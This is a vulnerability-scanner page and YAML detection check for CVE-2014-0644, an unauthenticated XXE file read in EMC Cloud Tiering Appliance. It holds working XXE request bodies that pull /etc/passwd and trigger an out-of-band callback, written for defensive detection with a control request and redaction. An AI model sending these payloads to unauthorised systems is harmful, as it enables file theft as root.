Emc Cta — 1 vulnerability check
noctis ships 1 vulnerability check for Emc Cta, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
EMC Cloud Tiering Appliance /api/login XML External Entity File Read
| CVE | CVE-2014-0644 |
|---|---|
| Severity | high · CVSS 7.8 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, http_request, match, script, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/emc-cta/CVE-2014-0644.yaml |
EMC Cloud Tiering Appliance (CTA) 10.0 through SP1 resolves XML external entities in the body of the unauthenticated POST /api/login request and reflects the expanded password value in its error reply, letting a remote attacker read any file on the appliance with root privileges. This check sends a login request whose password is an external entity pointing at /etc/passwd and reports the appliance when the root account line comes back in the reply, while the same request for a file that does not exist does not return one. With OOB enabled, it also points the entity at the OOB server to confirm blind XXE on a fingerprinted appliance. Only a world-readable file is read; nothing is written on the target.
How noctis detects it
- HTTP(S) request
POST /api/loginwith a crafted body - Checks
login_r.bodyfor(?m)(?:^|[^A-Za-z0-9_])root:[^:\r\n]*:0:([01]):([^:\r\n]*:[^:\r\n]*:[… - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /api/loginwith a crafted body - Checks
ctrl_r.bodyfor(?m)(?:^|[^A-Za-z0-9_])root:[^:\r\n]*:0:[01]: - Checks
prooffor^root:<redacted>:0:[01]:→ finding QoD 75: EMC Cloud Tiering Appliance /api/login XXE File Read (CVE-2014-0644) - HTTP(S) request
GET / - HTTP(S) request
POST /api/loginwith a crafted body - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: EMC Cloud Tiering Appliance /api/login Blind XXE (CVE-2014-0644)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2014-0644
- https://seclists.org/fulldisclosure/2014/Mar/426
- https://gist.github.com/brandonprry/9895721
- https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/gather/emc_cta_xxe.rb
Feed source — tests/vulnerabilities/emc-cta/CVE-2014-0644.yaml
# CVE-2014-0644 — EMC Cloud Tiering Appliance (CTA) 10.0 through SP1:
# unauthenticated XML external entity (XXE) file read through POST /api/login.
# Active detection ported from OpenVAS/Greenbone NASL
# 2014/gb_emc_cloud_tiering_xxe_04_14.nasl (GPL-2.0-only), cross-checked with
# Metasploit auxiliary/gather/emc_cta_xxe and the original advisory
# (Brandon Perry, full-disclosure 2014-03-31).
#
# The login API parses the request XML with DOCTYPE processing enabled and then
# turns the <Password> text into a number; the resulting Java
# NumberFormatException message ("For input string: \"<value>\"") is sent back,
# so an external entity placed in <Password> comes back expanded: arbitrary file
# read as root, without authentication.
#
# Detection:
# 1. xxe-passwd (QoD 75): the NASL's exact XML envelope with
# <!ENTITY xxe SYSTEM "file:///etc/passwd">. The request carries only the
# file NAME, so a server merely echoing the request cannot produce a
# root:...:0:[01]: line.
# 2. control: the same request for an absent file whose name still contains
# "etc/passwd" must NOT return a passwd line (blanket responders and
# honeypots that answer any "passwd" request). Fail-closed: no reply to the
# control, no finding.
# 3. xxe-oob (QoD 97, only with --oob): the entity points at the OOB server;
# an HTTP callback proves the parser fetches external entities even when
# the reply echoes nothing (blind XXE). Only sent when the product is
# fingerprinted (root page names Cloud Tiering, or /api/login answered
# with the NumberFormatException echo), so an arbitrary /api/login of
# another product is not sent an XXE plus a 20 s wait.
#
# Beyond the NASL (fewer false negatives / false positives):
# - The NASL exits unless the root page `/` contains "EMC Cloud Tiering"; the
# in-band probe here is sent regardless (one read-only request), so a CTA
# whose landing page is customised, redirects or sits behind a proxy is not
# missed.
# - The NASL matches `root:.*:0:[01]:` anywhere and has no control request;
# this feed adds the absent-file control and redacts the password field from
# the evidence.
# - Optional OOB branch for blind XXE.
uid: c6973f91-f8b4-4fe0-bb95-b6aad384a034
name: "EMC Cloud Tiering Appliance /api/login XML External Entity File Read (CVE-2014-0644)"
description: |
EMC Cloud Tiering Appliance (CTA) 10.0 through SP1 resolves XML external entities in
the body of the unauthenticated POST /api/login request and reflects the expanded
password value in its error reply, letting a remote attacker read any file on the
appliance with root privileges. This check sends a login request whose password is
an external entity pointing at /etc/passwd and reports the appliance when the root
account line comes back in the reply, while the same request for a file that does
not exist does not return one. With OOB enabled, it also points the entity at the
OOB server to confirm blind XXE on a fingerprinted appliance. Only a world-readable
file is read; nothing is written on the target.
cves: [CVE-2014-0644]
cvss: 7.8
severity: high
confidence_base: 0.30
category: file-read
tags:
- emc
- dell-emc
- cloud-tiering-appliance
- cta
- xxe
- file-read
- oob
- intrusive
services:
- http
- https
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2014-0644"
- "https://seclists.org/fulldisclosure/2014/Mar/426"
- "https://gist.github.com/brandonprry/9895721"
- "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/gather/emc_cta_xxe.rb"
- "OpenVAS/Greenbone NASL 2014/gb_emc_cloud_tiering_xxe_04_14.nasl (GPL-2.0-only)"
steps:
# ── Pre-initialise every value read later (undefined vars abort/skip) ────
- id: init-root-r
action: set_var
var_name: root_r
var_value: {status: 0, body: ""}
- id: init-login-r
action: set_var
var_name: login_r
var_value: {status: 0, body: ""}
- id: init-proof
action: set_var
var_name: proof
var_value: ""
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {status: 0, body: ""}
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
# ── 1. In-band XXE: /etc/passwd through <Password> (NASL envelope) ───────
- id: xxe-passwd
action: http_request
method: POST
port: "{{port}}"
path: "/api/login"
headers:
Content-Type: "application/x-www-form-urlencoded"
Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
body: "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n<!DOCTYPE foo [\n<!ELEMENT foo ANY >\n<!ENTITY xxe SYSTEM \"file:///etc/passwd\" >]>\n<Request>\n<Username>root</Username>\n<Password>&xxe;</Password>\n</Request>"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: login_r
# No on_match: the raw body (root's password field) must not become evidence.
# The root line may start a line, or follow the opening quote of the Java
# exception message ("For input string: \"root:..."), an XML tag or an
# HTML-escaped quote.
- id: passwd-content
action: match
source: login_r.body
pattern: "(?m)(?:^|[^A-Za-z0-9_])root:[^:\\r\\n]*:0:([01]):([^:\\r\\n]*:[^:\\r\\n]*:[^:\\r\\n<\"&]*)"
store_as: passwd_m
- id: passwd-redact
action: script
code: |
if passwd_m.matched && passwd_m.captures.len() > 1 {
"root:<redacted>:0:" + passwd_m.captures[0] + ":" + passwd_m.captures[1]
} else { "" }
store_as: proof
# ── 2. Control: absent file — must NOT carry a passwd line. The absent name
# still contains "etc/passwd", so a honeypot keying a fake file on that
# substring answers it too.
- id: control
action: http_request
method: POST
port: "{{port}}"
path: "/api/login"
condition: 'proof != ""'
headers:
Content-Type: "application/x-www-form-urlencoded"
Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
body: "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n<!DOCTYPE foo [\n<!ELEMENT foo ANY >\n<!ENTITY xxe SYSTEM \"file:///etc/passwd.noctis-absent-{{oob_token}}\" >]>\n<Request>\n<Username>root</Username>\n<Password>&xxe;</Password>\n</Request>"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: ctrl_r
- id: control-content
action: match
source: ctrl_r.body
pattern: "(?m)(?:^|[^A-Za-z0-9_])root:[^:\\r\\n]*:0:[01]:"
condition: 'proof != ""'
on_match:
set_vars:
ctrl_hit: true
- id: report-passwd
action: match
source: proof
pattern: "^root:<redacted>:0:[01]:"
condition: "ctrl_r.status != 0 && ctrl_hit == false"
on_match:
finding:
title: "EMC Cloud Tiering Appliance /api/login XXE File Read (CVE-2014-0644)"
description: "An unauthenticated POST /api/login whose <Password> element referenced an external entity pointing at /etc/passwd returned the file's root account line in the reply, while the same request for an absent file did not. The same flaw lets an attacker read any file on the appliance as root, including /etc/shadow."
remediation: "Apply the EMC fix for CVE-2014-0644 (upgrade Cloud Tiering Appliance beyond 10.0 SP1) and restrict access to the appliance management interface to trusted networks."
confidence_delta: 0.55
qod: 75
evidence: "POST /api/login with <!ENTITY xxe SYSTEM \"file:///etc/passwd\"> in <Password> reflected /etc/passwd; control for an absent file returned no passwd line ({{proof}})"
stop: true
# ── 3. Blind XXE: entity pointing at the OOB server (only with --oob) ────
- id: root-page
action: http_request
method: GET
port: "{{port}}"
path: "/"
condition: "oob_enabled && login_r.status != 0 && login_r.status != 404"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: root_r
- id: xxe-oob
action: http_request
method: POST
port: "{{port}}"
path: "/api/login"
condition: 'oob_enabled && login_r.status != 0 && login_r.status != 404 && (root_r.body.contains("Cloud Tiering") || login_r.body.contains("For input string"))'
headers:
Content-Type: "application/x-www-form-urlencoded"
Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
body: "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n<!DOCTYPE foo [\n<!ELEMENT foo ANY >\n<!ENTITY xxe SYSTEM \"{{oob_url}}\" >]>\n<Request>\n<Username>root</Username>\n<Password>&xxe;</Password>\n</Request>"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: oob_r
- id: oob-wait
action: wait_oob
oob_timeout_secs: 20
condition: 'oob_enabled && login_r.status != 0 && login_r.status != 404 && (root_r.body.contains("Cloud Tiering") || login_r.body.contains("For input string"))'
on_success:
finding:
title: "EMC Cloud Tiering Appliance /api/login Blind XXE (CVE-2014-0644)"
description: "An unauthenticated POST /api/login whose <Password> element referenced an external entity pointing at the noctis OOB server made the appliance fetch that URL: the login API resolves external entities, which lets an attacker read any file on the appliance as root."
remediation: "Apply the EMC fix for CVE-2014-0644 (upgrade Cloud Tiering Appliance beyond 10.0 SP1) and restrict access to the appliance management interface to trusted networks."
confidence_delta: 0.65
qod: 97
evidence: "OOB HTTP callback received after POST /api/login with an external entity pointing at the OOB server in <Password> (blind XXE, CVE-2014-0644)."
stop: true